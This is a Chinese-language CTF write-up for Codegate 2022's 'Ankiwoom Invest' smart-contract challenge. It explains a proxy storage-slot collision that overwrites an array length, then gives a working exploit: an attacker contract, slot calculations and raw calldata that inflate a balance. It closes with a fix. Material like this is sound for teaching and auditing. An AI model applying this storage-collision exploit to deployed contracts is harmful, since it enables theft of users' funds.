Codegate CTF 2022 Ankiwoom Invest
关于这个挑战的Write up!
Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186
| Proxy.sol // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
contract Proxy { address implementation; address owner; struct log { bytes12 time; address sender; } log info; constructor(address _target) { owner = msg.sender; implementation = _target; }
function setImplementation(address _target) public { require(msg.sender == owner); implementation = _target; }
function _delegate(address _target) internal { assembly { calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } }
function _implementation() internal view returns (address) { return implementation; }
function _fallback() internal { _beforeFallback(); _delegate(_implementation()); }
fallback() external payable { _fallback(); }
receive() external payable { _fallback(); }
function _beforeFallback() internal { info.time = bytes12(uint96(block.timestamp)); info.sender = msg.sender; } }
Investment.sol // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "OpenZeppelin/openzeppelin-contracts@4.4.2/contracts/utils/math/SafeMath.sol";
contract Investment { address private implementation; address private owner; address[] public donaters;
using SafeMath for uint;
mapping (address => bool) private _minted; mapping (bytes32 => uint) private _total_stocks; mapping (bytes32 => uint) private _reg_stocks; mapping (address => mapping (bytes32 => uint)) private _stocks; mapping (address => uint) private _balances;
address lastDonater; uint fee; uint denominator; bool inited;
event solved(address);
modifier isInited { require(inited); _; }
function init() public { require(!inited);
_reg_stocks[keccak256("apple")] = 111; _total_stocks[keccak256("apple")] = 99999999; _reg_stocks[keccak256("microsoft")] = 101; _total_stocks[keccak256("microsoft")] = 99999999; _reg_stocks[keccak256("intel")] = 97; _total_stocks[keccak256("intel")] = 99999999; _reg_stocks[keccak256("amd")] = 74; _total_stocks[keccak256("amd")] = 99999999; _reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111; _total_stocks[keccak256("codegate")] = 1; fee = 5; denominator = 1e4; inited = true; }
function buyStock(string memory _stockName, uint _amountOfStock) public isInited { bytes32 stockName = keccak256(abi.encodePacked(_stockName)); require(_total_stocks[stockName] > 0 && _amountOfStock > 0); uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator); require(_balances[msg.sender] >= amount); _balances[msg.sender] -= amount; _stocks[msg.sender][stockName] += _amountOfStock; _total_stocks[stockName] -= _amountOfStock; }
function sellStock(string memory _stockName, uint _amountOfStock) public isInited { bytes32 stockName = keccak256(abi.encodePacked(_stockName)); require(_amountOfStock > 0); uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee); require(_stocks[msg.sender][stockName] >= _amountOfStock); _balances[msg.sender] += amount; _stocks[msg.sender][stockName] -= _amountOfStock; _total_stocks[stockName] += _amountOfStock; }
function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited { bytes32 stockName = keccak256(abi.encodePacked(_stockName)); require(_amountOfStock > 0); require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock); _stocks[msg.sender][stockName] -= _amountOfStock; (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock)); require(success); lastDonater = msg.sender; donaters.push(lastDonater); }
function isInvalidDonaters(uint index) internal returns (bool) { require(donaters.length > index); if (!isUser(lastDonater)) { return true; } else { return false; } }
function modifyDonater(uint index) public isInited { require(isInvalidDonaters(index)); donaters[index] = msg.sender; }
function isUser(address _user) internal returns (bool) { uint size; assembly { size := extcodesize(_user) } return size == 0; }
function mint() public isInited { require(!_minted[msg.sender]); _balances[msg.sender] = 300; _minted[msg.sender] = true; }
function isSolved() public isInited { if (_total_stocks[keccak256("codegate")] == 0) { emit solved(msg.sender); address payable addr = payable(address(0)); selfdestruct(addr); } } }
|
Analyze
1 2 3 4 5 6 7
| function isSolved() public isInited { if (_total_stocks[keccak256("codegate")] == 0) { emit solved(msg.sender); address payable addr = payable(address(0)); selfdestruct(addr); } }
|
要实现 emit solved(msg.sender),需要_total_stocks[keccak256(“codegate”)] == 0,进一步分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function init() public { ... _reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111; _total_stocks[keccak256("codegate")] = 1; ... } function buyStock(string memory _stockName, uint _amountOfStock) public isInited { ... _balances[msg.sender] -= amount; _stocks[msg.sender][stockName] += _amountOfStock; _total_stocks[stockName] -= _amountOfStock; } function mint() public isInited { require(!_minted[msg.sender]); _balances[msg.sender] = 300; _minted[msg.sender] = true; }
|
显然我们需要购买一个codegate-Stock,但是我们刚开始仅能得到很少的_balances,这很难支持我们购买!所以我们需要寻找一个能够使得我们的_balances增大的漏洞。
通过对investment合约源代码的审计,我们排除了整数加减法溢出,持续buysell套利的漏洞。
存在一处乘法溢出的风险,但是很可惜没有办法利用。
链接
存在一处变量覆盖的风险,但是会进行长度检查,无法越界进行覆盖。
1 2 3 4 5 6 7 8 9 10 11 12 13
| function modifyDonater(uint index) public isInited { require(isInvalidDonaters(index)); donaters[index] = msg.sender; } function isInvalidDonaters(uint index) internal returns (bool) { require(donaters.length > index); if (!isUser(lastDonater)) { return true; } else { return false; } }
|
在这样看来,似乎investment无懈可击。
Proxy
继续对Proxy合约审计,发现下面的代码,让我们解析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function _delegate(address _target) internal { assembly { calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } }
|
先来看这几个汇编指令的含义
Hex |
Name |
Gas |
Stack |
Mem / Storage |
Notes |
36 |
CALLDATASIZE |
2 |
. => len(msg.data) |
|
length of msg data, in bytes |
37 |
CALLDATACOPY |
A3 |
dstOst, ost, len => . |
mem[dstOst:dstOst+len] := msg.data[ost:ost+len |
copy msg data |
38 |
CODESIZE |
2 |
. => len(this.code) |
|
length of executing contract’s code, in bytes |
3D |
RETURNDATASIZE |
2 |
. => size |
|
size of returned data from last external call, in bytes |
3E |
RETURNDATACOPY |
A3 |
dstOst, ost, len => . |
mem[dstOst:dstOst+len] := returndata[ost:ost+len] |
copy returned data from last external call |
5A |
GAS |
2 |
. => gasRemaining |
|
|
F4 |
DELEGATECALL |
AA |
gas, addr, argOst, argLen, retOst, retLen => success |
mem[retOst:retOst+retLen] := returndata |
重点在于delegatecall
- 函数设计的目的是为了使用给定地址的代码,其他信息则使用当前合约(存储)
- 某种程度上也是为了代码的复用
而此时_target对应于investment合约的地址,也就是说我们可以将investment合约的任意函数转移到Proxy合约上执行。
同时发现一处storage未初始化的问题,详细
1 2 3 4 5 6 7 8 9
| struct log { bytes12 time; address sender; } log info; function _beforeFallback() internal { info.time = bytes12(uint96(block.timestamp)); info.sender = msg.sender; }
|
log结构体对应的大小刚好是byte32,且位于slot 2
在Investment合约中,donaters数组的长度恰好也位于slot2
也就是说我们可以通过覆盖长度,实现越界访问,结合上面提到的变量覆盖,就可以在特定位置覆盖我们的_balances
Attack
Init
我们需要进行初始化,因为需要通过isInited关键词修饰
可以看见donaters数组长度的位置被覆盖,此时的长度非常大了。
Mint
此时存储balance[EOA]的位置在slot
0xad0f00e11a82c9e4c6bf0ad52e498f98562d86ac4ff95e82c6ecf0258d19cc74
DonateStock
绕过!isUser限制
1 2 3 4 5 6 7 8 9 10 11 12 13
| contract attack{
Investment claim; constructor(){ string memory apple="apple"; claim=Investment(0xE65717788EA5520888F724819E8Fb092930bB05D); claim.mint(); claim.buyStock(apple,2); claim.donateStock(0x8Ef65AC72069051De8028244DCB33251f31Cf545, apple,2); }
}
|
lastDonater
ModifyDonater
donaters[0]的slot计算参考
1 2 3 4 5 6 7 8
| import sha3 import binascii def byte32(i): return binascii.unhexlify('%064x'%i)
print(sha3.keccak_256(byte32(2)).hexdigest())
|
计算相对位置
1 2
| print(hex(0xad0f00e11a82c9e4c6bf0ad52e498f98562d86ac4ff95e82c6ecf0258d19cc74-0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace))
|
calldata=0x9bceca6c+6cb778e707daa603d407a7b86a2e53efd3a2538a85784d70cc7722eae95e71a6
成功覆盖余额
BuyStack & isSolved
calldata=0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000
calldata=0x64d98f6e
Summary
这个漏洞的本质在于对Log结构的非显式初始化所带来的变量覆盖问题,修复方案是将声明的 struct 进行赋值初始化,通过创建一个新的临时 memory 结构体,然后将它拷贝到 storage 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pragma solidity ^0.8.0; contract Contract{
address implementation; address owner; struct log { bytes12 time; address sender; }
mapping (uint => log) Logs;
function test() public{ log storage info = Logs[_id]; info.time = bytes12(uint96(block.timestamp)); info.sender = msg.sender;
} }
|